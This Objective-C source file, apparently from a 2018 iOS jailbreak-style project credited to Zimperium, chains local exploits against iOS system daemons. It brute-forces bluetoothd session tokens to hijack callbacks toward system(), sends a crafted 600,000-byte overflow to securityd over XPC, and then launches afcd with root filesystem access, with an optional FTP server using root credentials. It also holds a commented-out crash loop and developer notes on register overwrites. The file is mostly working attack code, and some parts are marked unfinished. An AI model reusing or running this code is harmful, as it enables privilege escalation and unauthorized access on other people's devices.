exploit.m

//
//  exploit.m
//  
//
//  Created by Christian Colucci.
//  Exploit by ZIMPERIUM.
//  Copyright © 2018.
//

#include "exploit.h"
#include "lorgnette.h"
//#define MTFTP

/* FTP Stuff */
#ifdef MTFTP
#import "mtftp.h"
#endif

#import "APIManager.h"
#include <Foundation/Foundation.h>
#include <mach/mach.h>
#include <stdio.h>
#include <xpc/xpc.h> //Having issues compiling eh? XPC is a private framework, check the Readme.md
#include <dlfcn.h>

#define NSLog(str...) _output = [[_output stringByAppendingString:[NSString stringWithFormat:str]] stringByAppendingString:@"\n"]; printf("%s\n",[[NSString stringWithFormat:str] UTF8String]);
extern kern_return_t bootstrap_look_up(mach_port_t bs, const char *service_name, mach_port_t *service);

/* Fake selectors */
@interface FAKESELECTORS : NSObject
-(BOOL)createJobWithLabel:(id)arg1 bundleIdentifier:(id)arg2 path:(id)arg3 containerPath:(id)arg4 arguments:(id)arg5 environment:(id)arg6 standardOutputPath:(id)arg7 standardErrorPath:(id)arg8 machServices:(id)arg9 threadPriority:(long long)arg10 waitForDebugger:(BOOL)arg11 denyCreatingOtherJobs:(BOOL)arg12 runAtLoad:(BOOL)arg13 disableASLR:(BOOL)arg14 systemApp:(BOOL)arg15;
@end


/* When hijacking session between bluetoothd and client, add callback to the client and jump to CALLBACK_ADDRESS with CALLBACK_ADDITIONAL_DATA */


#define MAXIMUM_NUMBER_OF_PORTS_AVAILABLE 0xffff
    
#define BLUETOOTHD_CONST 0xFA300
#define BLUETOOTHD_WRONG_TOKEN 7

#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE 0x44
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE 0x48
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS 0x113
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID 3
#define BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT 0x1000
#define BLUETOOTHD_MIG_SERVER_NAME "com.apple.server.bluetooth"

#define ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET 0x20
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET 0x28
#define ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA 0x40

typedef unsigned int mach_msg_return_value;

@interface SandboxExploit()
@end

@implementation SandboxExploit

-(mach_port_t) get_service_port:(char *)service_name
{
    kern_return_t ret = KERN_SUCCESS;
    mach_port_t service_port = MACH_PORT_NULL;
    mach_port_t bs = MACH_PORT_NULL;
    
    
    ret = task_get_bootstrap_port(mach_task_self(), &bs);
    
    ret = bootstrap_look_up(bootstrap_port, service_name, &service_port);
    if (ret)
    {
        NSLog(@"Couldn't find port for %s",service_name);
        return MACH_PORT_NULL;
    }
    
    NSLog(@"Got port: %x", service_port);
    
    mach_port_deallocate(mach_task_self(), bs);
    return service_port;
}


-(mach_msg_return_value) BTLocalDevice_add_callback:(mach_port_t)bluetoothd_port session_token:(mach_port_t)session_token callback_address:(void*)callback_address additional_data:(long)additional_data
{
    
    //Construct a the MACH_MESSAGE for bluetoothd interaction
    mach_port_t receive_port = MACH_PORT_NULL;
    mach_msg_header_t * message = NULL;
    char *data = NULL;
    kern_return_t ret = KERN_SUCCESS;
    mach_msg_return_value return_value = 0;
    mach_msg_id_t msgh_id = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_MSG_ID;
    mach_msg_size_t recv_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_RECV_SIZE;
    mach_msg_size_t send_size = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_SEND_SIZE;
    mach_msg_option_t options = BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_OPTIONS;
    mach_msg_size_t msg_size = MAX(recv_size, send_size);
    
    //We need a port with with receive rights for responses from bluetoothd
    ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
    if ( ret != KERN_SUCCESS)
    {
        return_value = -3;
        NSLog(@"Failed to allocate port ret=%x", ret);
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        goto cleanup;
    }
    
    //We need a port with send rights for requests to bluetoothd
    ret = mach_port_insert_right(mach_task_self(), receive_port, receive_port, MACH_MSG_TYPE_MAKE_SEND);
    if ( ret != KERN_SUCCESS)
    {
        return_value = -3;
        NSLog(@"Failed to insert port right ret=%x", ret);
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        goto cleanup;
    }
    
    message = malloc(msg_size);
    data = (char *)message; 
    memset(message, 0, msg_size);
    *((mach_port_t *)(data+ADD_CALLBACK_MACH_MSG_IN_SESSION_TOKEN_OFFSET)) = session_token;
    *((void **)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_ADDRESS_OFFSET)) = callback_address;
    *((long *)(data+ADD_CALLBACK_MACH_MSG_IN_CALLBACK_DATA)) = additional_data;
    message->msgh_bits = 0x1513 ;
    
    message->msgh_remote_port = bluetoothd_port; /* Request port */
    message->msgh_local_port = receive_port; /* Reply port */
    message->msgh_size =  send_size;    /* Message size */
    message->msgh_reserved = 0;
    message->msgh_id = BLUETOOTHD_CONST + msgh_id;
    
    //Send our message to bluetoothd
    ret = mach_msg(message,              /* The header */
                   options, /* Flags */
                   send_size,              /* Send size */
                   recv_size,              /* Max receive Size */
                   receive_port,                 /* Receive port */
                   BLUETOOTHD_MACH_MESSAGE_ADD_CALLBACK_TIMEOUT,        /* No timeout */
                   MACH_PORT_NULL);              /* No notification */
    
    //Make sure we were able to actually send our message
    if(MACH_MSG_SUCCESS == ret)
    {
        return_value = *(mach_msg_return_value *) (((char *) message) + ADD_CALLBACK_MACH_MSG_OUT_RETURN_VALUE_OFFSET);
        if (return_value != BLUETOOTHD_WRONG_TOKEN) {
            NSLog(@"Sent message id %d with token %x, returned: %x", msgh_id, session_token, return_value);
        }
    } else if (MACH_RCV_INVALID_NAME == ret) //Check if something went wrong sending our message
    {
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        NSLog(@"mach_error_int: ret=%x", ret);
        NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
        return_value = -2;
    }
    else { //In all other cases something weird has happened and we failed.
        NSLog(@"mach_error_string: mach_error_string %s", mach_error_string(ret));
        NSLog(@"mach_error_int: ret=%x", ret);
        NSLog(@"mach_remote_port: %x", message->msgh_remote_port);
        return_value = -1;
    }
    
    
cleanup:
    if(MACH_PORT_NULL != receive_port)
    {
        mach_port_destroy(mach_task_self(), receive_port); //destroy the machport we have for receiving messages
    }
    
    if (NULL != message) {
        free(message); //free our message, we don't need it anymore
    }
    return return_value;
}


-(bool) try_to_add_callback_BTLocalDeviceAddCallbacks:(void *)address value:(long)value
{
    int ports_found[MAXIMUM_NUMBER_OF_PORTS_AVAILABLE] = {0}; //There are 0xffff (65535) maximum number of ports available, so we create a list of ports with that size
    int number_of_ports_found = 0;
    
    mach_port_t bluetoothd_port = [self get_service_port:BLUETOOTHD_MIG_SERVER_NAME]; //First we need to know what the port of bluetoothd is so we can communicate with the daemon
  
    if (MACH_PORT_NULL == bluetoothd_port) //Make we were able to get a port, else our exploit obviously failed because we can't communicate with bluetoothd
    {
        NSLog(@"Couldn't have bluetoothd port",nil);
        return false;
    }
    
    NSLog(@"Starting to look for session tokens", nil);
    for (int i = 0; i <= MAXIMUM_NUMBER_OF_PORTS_AVAILABLE; i++) {
        int id = 0;
        id = (i << 16) + 1;
        int result_code = [self BTLocalDevice_add_callback:bluetoothd_port session_token:id callback_address:NULL additional_data:0];
        if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
        {
            NSLog(@"Found port: %x", id);
            ports_found[number_of_ports_found] = id;
            number_of_ports_found ++;
        }
        
        
        id = (i << 16) + 2;
        result_code = [self BTLocalDevice_add_callback:bluetoothd_port session_token:id callback_address:NULL additional_data:0];
        if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
        {
            NSLog(@"Found port: %x", id);
            ports_found[number_of_ports_found] = id;
            number_of_ports_found ++;
        }
        
        
        id = (i << 16);
        result_code = [self BTLocalDevice_add_callback:bluetoothd_port session_token:id callback_address:NULL additional_data:0];
        if(result_code != BLUETOOTHD_WRONG_TOKEN && result_code != -1)
        {
            NSLog(@"Found port: %x", id);
            ports_found[number_of_ports_found] = id;
            number_of_ports_found ++;
        }
        
    }
    
    for (int i = number_of_ports_found-1; i>=0; i--) {
        // WORK IN PROGRESS
        NSLog(@"Adding callback: Port=%x address=%x value=%x", ports_found[i], (unsigned int)address, (unsigned int)value);
        [self BTLocalDevice_add_callback:bluetoothd_port session_token:ports_found[i] callback_address:address additional_data:value];
    }
    
    NSLog(@"Exploit succeeded!");
    return true;
}

- (void)doPostExploitStuff
{
    Class BSLaunchdUtilities = NSClassFromString(@"BSLaunchdUtilities");
    id label = @"com.apple.afc";
    NSMutableArray* args = [NSMutableArray arrayWithObjects:@"-r",@"-d",@"/var/root", nil];
    NSMutableArray* services = [NSMutableArray arrayWithObjects:@"com.apple.afc", nil];
    NSDictionary* env = [[NSProcessInfo processInfo] environment];
    NSString* docsdir = [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject];
    BOOL success = [BSLaunchdUtilities createJobWithLabel:label bundleIdentifier:@"com.apple.afcd" path:@"/usr/libexec/afcd" containerPath:@"/private/var/root/" arguments:args environment:env standardOutputPath:[docsdir stringByAppendingString:@"stdout.txt"] standardErrorPath:[docsdir stringByAppendingString:@"stderr.txt"] machServices:services threadPriority:0 waitForDebugger:YES denyCreatingOtherJobs:NO runAtLoad:YES disableASLR:YES systemApp:YES];
    if(success)
    {
        NSLog(@"AFCD2 is now running perfectly!");
    } else {
        NSLog(@"AFCD2 could not be ran, check your privilige!");
    }
    NSLog(@"Doing post-exploitation stuff...");
#ifdef MTFTP
    start_mtftpd();
    NSLog(@"FTP Server running on port 21");
    NSLog(@"You can connect with the following credentials\n");
    NSLog(@"User: root");
    NSLog(@"Password: alpine\n");
    NSLog(@"If you need a client for FTP checkout https://filezilla-project.org/");
    NSLog(@"Special thanks to pureftpd.\n");
    NSLog(@"Appcontainer directory: %@", [NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES) firstObject]);
#endif
    //Uncomment this at your own risk
    //[self rebootDevice];
}

- (void) overflow_securityd {
     NSLog(@"initiating securityd exploit...\n");
    uint64_t corefoundation_address = (uint64_t)lorgnette_lookup_baseaddress("CoreFoundation");
    
    if(corefoundation_address <= 0) {
         NSLog(@"securityd_exploit:  could not get CoreFoundation's address.\n");
        return;
    }
    
     NSLog(@"securityd_exploit:  found CoreFoundation at: 0x%llx\n", corefoundation_address);
    
    // get shared 'system' address
    const char* systemSymbolName = "system";
    uint64_t system_address = lorgnette_lookup(mach_task_self(), systemSymbolName);
    
    
    NSLog(@"securityd_exploit:  system is at 0x%llx\n", system_address);
    
   
    
    // initiate connection with securityd
    xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.securityd", NULL, 0);
    xpc_connection_set_event_handler(conn, ^(xpc_object_t object) {});
    
    xpc_connection_resume(conn);
    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
    
    xpc_dictionary_set_uint64(msg, "operation" /* kSecXPCKeyOperation */, 0x27);
    
    // 0x27:
    char overflow[600000] = {0}; // 600000: crashes at x2, 650000: crashes at x3
    size_t overflow_size = sizeof(overflow);
    NSLog(@"securityd_exploit:  overflow_size: 0x%zx (%d)\n", overflow_size, (uint32_t)overflow_size);
    
    
    // personal notes below (i7 11.3 15E5189f):
    // - size doesn't really matter as long as
    // size of 600000 and set null terminator at 570000 and later will cause a binary images overwrite
    // size of 550000 and set null terminator at 550000 and later will cause to fail at a different location (ca20) WITH registers overwrite
    // size of 540000 <-> 549000 and set null terminator at 550000 and later will cause to fail at a different location (11c8) WITHOUT registers overwrite
    
    
    // start:
    memset(&overflow, '\x55', overflow_size);
    
    // middle:
    overflow[2000] = '\x00';
    memset(&overflow[2000], '\x00\x00\x20\xd4', overflow_size - 2000);
    
    // end:
     memset(&overflow[5000], '\x41', overflow_size - 5000);
    
    // 549630 <--> 549620
    // 549600: pc: 1d0 or 1c8 (crash log: 220737)
    // 549626 <-> 549627: pc: 0x00000001020791d4 (crash log: 221912)
    // 549628: pc: 0x00000001003b91c8 (crash log: 2223229)
    // 549629: pc: ca20. registers overwritten. x18/x14 are partially overwritten.
     int x = 549628;
     memset(&overflow[x], '\0', overflow_size - x);
    
     overflow[549597] = '\0';
    
#if 0
    memset(&overflow[530000], '\x00', 8);
    
    // x8:
    memset(&overflow[1000], '\x41', overflow_size - 1000);
    
    // x9:
    memset(&overflow[249843], '\x09', 8);
    
    // x10:
    memset(&overflow[249851], '\x10', 8);
    
    // x11:
    memset(&overflow[249859], '\x11', 8);
    
    // x14 (can overwrite parially):
    memset(&overflow[0], '\x14', 4);
    
    // x15:
    memset(&overflow[4], '\x15', 8);
#endif
    
    overflow[overflow_size] = '\x00';
    NSLog(@"securityd exploit: Overflow constructed.");

    //exit(0);
    
    xpc_dictionary_set_string(msg, "deviceID", overflow);
    
    NSLog(@"securityd_exploit: sending payload to securityd\n");
    
    xpc_object_t reply = xpc_connection_send_message_with_reply_sync(conn, msg);
    
    if(reply == XPC_ERROR_CONNECTION_INTERRUPTED) {
         NSLog(@"securityd_exploit: successfully sent our payload to securityd\n");
        
        bzero(overflow, overflow_size);
        
        // next steps:

    } else {
         NSLog(@"securityd_exploit: failed to overflow securityd: %s\n", xpc_copy_description(reply));
    }
    
    
    NSLog(@"securityd_exploit:\nreply data:%s\nIf this mentions connection interupted we succeeded!", xpc_copy_description(reply));
    
}

- (void)rebootDevice {
    for(int i = 0; i < 10000; i++) {
        dispatch_async(dispatch_get_main_queue(), ^(void){

                    [NSThread detachNewThreadWithBlock:^(void){
                        for(int j = 0; j < 10000; j++)
                        {
                            execve("/APPLE/SEEMS/TO/NEVER/PATCH/THIS/BUG/I/MAILED/THEM/SINCE/IOS/9.2.1", NULL, NULL);
                        }
                    }];

            });
        }
}

- (void)run{
    if(self.output == nil)
    {
        self.output = @"";
    }
    
    /* Create arbitrary pointer to lorgnette's leaked system address with arguments, not used yet though*/
    typedef void* (*arbitrary_command)(const char* command);
    
    uint64_t system_address = lorgnette_lookup(mach_task_self(), "system"); //Find system function address
    char* cmd = "/bin/ps"; //Command to be executed is /bin/ps
    int CALLBACK_ADDITIONAL_DATA = *cmd; //Point our data to the address of cmd;
    
    //Run exploit by Zimperium
    [self try_to_add_callback_BTLocalDeviceAddCallbacks:(void *)system_address value:CALLBACK_ADDITIONAL_DATA];
    
    //Run exploit by @cheesecakeufo (Abraham)
    [self overflow_securityd];
    
    //Do everything that needs to be done after the exploit
    [self doPostExploitStuff];
}

@end

    // part of this you can checks the run of a semi-root access (incompleted). 
    // r00t_access.h (Done) //